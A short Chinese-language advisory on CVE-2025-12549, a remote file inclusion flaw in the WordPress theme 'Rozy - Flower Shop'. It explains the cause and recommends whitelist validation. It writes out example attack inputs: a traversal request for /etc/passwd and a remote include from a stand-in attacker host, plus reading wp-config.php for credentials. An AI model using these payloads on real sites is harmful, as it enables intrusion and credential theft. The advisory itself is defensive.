CVE-2025-12549CVE-2025-12549是WordPress Rozy - Flower Shop主题中的一个高危安全漏洞,CVSS评分达到8.1分。该漏洞属于PHP远程文件包含(Remote File Inclusion)类型,具体表现为对文件名缺乏适当的控制,允许攻击者通过构造恶意请求包含任意本地或远程文件。在WordPress主题开发中,如果使用了动态文件包含(如通过GET或POST参数指定要包含的文件路径),而没有对输入进行严格的验证和过滤,攻击者就可以利用这一特性读取服务器上的敏感文件(如/etc/passwd、wp-config.php等),甚至在特定条件下执行任意PHP代码,实现远程代码执行。Rozy - Flower Shop主题在1.2.25及以下版本均受影响。由于该漏洞无需认证即可利用,且对机密性、完整性和可用性均有严重影响,建议受影响用户立即采取修复措施。该漏洞由Patchstack安全团队于2026年1月8日披露。
该漏洞存在于Rozy - Flower Shop主题的文件包含逻辑中。主题在处理文件包含请求时,直接使用了用户可控的输入参数来指定要包含的文件路径,而没有进行充分的输入验证和安全过滤。在PHP中,当使用include、require、include_once或require_once等语句时,如果文件路径来自用户输入且未经过滤,攻击者可以通过路径遍历技术(如使用../跳转目录)读取服务器上的任意文件。更危险的是,如果服务器配置允许远程URL包含(如allow_url_include=On),攻击者可以直接包含远程恶意PHP文件,从而执行任意代码。典型的攻击场景是构造形如?file=../../../../../../etc/passwd的请求来读取系统敏感文件,或者?file=http://attacker.com/malicious.txt来执行远程代码。攻击者通常会利用此漏洞读取wp-config.php获取数据库凭证,或通过日志文件注入恶意代码后再包含来达成RCE。防御的关键是在文件包含前对输入路径进行严格的白名单验证或规范化处理。